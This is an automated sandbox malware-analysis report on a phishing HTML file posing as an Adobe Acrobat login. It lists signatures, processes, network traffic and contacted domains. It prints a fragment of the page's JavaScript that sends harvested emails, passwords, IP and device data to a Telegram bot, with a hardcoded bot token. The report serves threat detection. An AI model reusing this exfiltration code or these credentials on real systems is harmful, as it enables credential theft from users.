Edit tour

Windows Analysis Report
https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY

Overview

General Information

Sample URL:	https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY
Analysis ID:	1566527

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish29

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Javascript uses Telegram API

Uses the Telegram API (likely for C&C communication)

HTML body contains password input but no form action

HTML title does not match URL

Javascript checks online IP of machine

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 2980 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1868,i,1207363861905897289,1633309498031513152,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 1104 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

rundll32.exe (PID: 2296 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.0..script.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Downloads/Abobe-pdf.html

Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 0.1.pages.csv

Yara detected HtmlPhish29

Source: Yara match

File source: 0.0..script.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: file:///C:/Users/user/Downloads/Abobe-pdf.html

Joe Sandbox AI: Page contains button: 'Continuer' Source: '0.2.pages.csv'

AI detected suspicious Javascript

Source: 0.0..script.csv

Joe Sandbox AI: Detected suspicious JavaScript: High-risk script showing clear malicious intent: 1) Contains hardcoded Telegram bot tokens for data exfiltration, 2) Collects sensitive user data (email, password, IP, device info), 3) Sends collected credentials to external Telegram channels, 4) Implements a phishing-like form submission logic. This is a classic credential harvesting script.

Javascript uses Telegram API

Source: https://stef-c8fab.web.app/Selby.js

HTTP Parser: const bottoken1 = '7758695294:aagkjw1ssre0yef8t4xuflziyiuz1l92zlk'; // premier token de botconst chatid1 = '5848269608'; // premier id de chatconst bottoken2 = 'votre_deuxime_token'; // remplacez par votre deuxime tokenconst chatid2 = 'votre_deuxime_id_de_chat'; // remplacez par votre deuxime id de chatfunction sendtotelegram(data) { const message = ` fr rsultat - ${data.email}:${data.password}\nip: ${data.ip}\nappareil: ${data.device}`; const telegramurl1 = `https://api.telegram.org/bot${bottoken1}/sendmessage?chat_id=${chatid1}&text=${encodeuricomponent(message)}`; const telegramurl2 = `https://api.telegram.org/bot${bottoken2}/sendmessage?chat_id=${chatid2}&text=${encodeuricomponent(message)}`; // envoi au premier chat fetch(telegramurl1, { method: "get" }) .then(response => { if (response.ok) { console.log("message envoy telegram (chat 1) avec succs."); } else { console.error("erreur...

Source: file:///C:/Users/user/Downloads/Abobe-pdf.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Downloads/Abobe-pdf.html

HTTP Parser: Title: Securiter Adobe Acrobat does not match URL

Source: https://stef-c8fab.web.app/Selby.js

Source: file:///C:/Users/user/Downloads/Abobe-pdf.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Downloads/Abobe-pdf.html

HTTP Parser: <input type="password" .../> found

Source: https://drive.google.com/file/d/1ylWDnyHrzgzZgujO10Cbpgn_lyhC-Z0G/view	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/Cahier%20des%20Charges.pdf	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/Cahier%20des%20Charges.pdf	HTTP Parser: No favicon

Source: file:///C:/Users/user/Downloads/Abobe-pdf.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Downloads/Abobe-pdf.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Downloads/Abobe-pdf.html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Downloads/Abobe-pdf.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Downloads/Abobe-pdf.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Downloads/Abobe-pdf.html	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.12:443 -> 192.168.2.17:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.88:443 -> 192.168.2.17:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49742 version: TLS 1.2

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: css-s-816a7.web.app
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn-icons-png.flaticon.com
Source: global traffic	DNS traffic detected: DNS query: cdn2.iconfinder.com
Source: global traffic	DNS traffic detected: DNS query: stef-c8fab.web.app
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: blobcomments-pa.clients6.google.com
Source: global traffic	DNS traffic detected: DNS query: peoplestackwebexperiments-pa.clients6.google.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.12:443 -> 192.168.2.17:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.88:443 -> 192.168.2.17:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49742 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.troj.win@31/58@54/264

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1868,i,1207363861905897289,1633309498031513152,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1868,i,1207363861905897289,1633309498031513152,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Windows\System32\rundll32.exe

Process information set: NOOPENFILEERRORBOX

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	3 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Rundll32	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label	Link
file:///C:/Users/user/Downloads/Abobe-pdf.html	0%	Avira URL Cloud	safe
file:///C:/Users/user/Downloads/Cahier%20des%20Charges.pdf	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
blobcomments-pa.clients6.google.com	216.58.208.234	true	false	high
css-s-816a7.web.app	199.36.158.100	true	false	unknown
plus.l.google.com	172.217.17.78	true	false	high
drive.usercontent.google.com	142.250.181.1	true	false	high
cdn2.iconfinder.com	172.66.41.45	true	false	high
peoplestackwebexperiments-pa.clients6.google.com	142.250.181.106	true	false	high
stef-c8fab.web.app	199.36.158.100	true	false	high
play.google.com	172.217.19.238	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
drive.google.com	172.217.19.174	true	false	high
www.google.com	142.250.181.68	true	false	high
api.ipify.org	104.26.13.205	true	false	high
api.telegram.org	149.154.167.220	true	false	high
cdn-icons-png.flaticon.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://drive.google.com/file/d/1ylWDnyHrzgzZgujO10Cbpgn_lyhC-Z0G/view	false		unknown
file:///C:/Users/user/Downloads/Cahier%20des%20Charges.pdf	false	Avira URL Cloud: safe	unknown
file:///C:/Users/user/Downloads/Abobe-pdf.html	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.206	unknown	United States	15169	GOOGLEUS	false
172.217.17.67	unknown	United States	15169	GOOGLEUS	false
216.58.208.227	unknown	United States	15169	GOOGLEUS	false
172.217.19.202	unknown	United States	15169	GOOGLEUS	false
142.250.181.110	unknown	United States	15169	GOOGLEUS	false
172.66.41.45	cdn2.iconfinder.com	United States	13335	CLOUDFLARENETUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
172.217.19.195	unknown	United States	15169	GOOGLEUS	false
172.217.19.170	unknown	United States	15169	GOOGLEUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
172.217.21.35	unknown	United States	15169	GOOGLEUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
2.19.198.17	unknown	European Union	16625	AKAMAI-ASUS	false
142.250.181.42	unknown	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.217.19.238	play.google.com	United States	15169	GOOGLEUS	false
2.16.158.187	unknown	European Union	20940	AKAMAI-ASN1EU	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
172.217.19.174	drive.google.com	United States	15169	GOOGLEUS	false
216.58.208.234	blobcomments-pa.clients6.google.com	United States	15169	GOOGLEUS	false
199.36.158.100	css-s-816a7.web.app	United States	15169	GOOGLEUS	false
142.250.181.106	peoplestackwebexperiments-pa.clients6.google.com	United States	15169	GOOGLEUS	false
64.233.165.84	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.1	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
172.217.17.74	unknown	United States	15169	GOOGLEUS	false
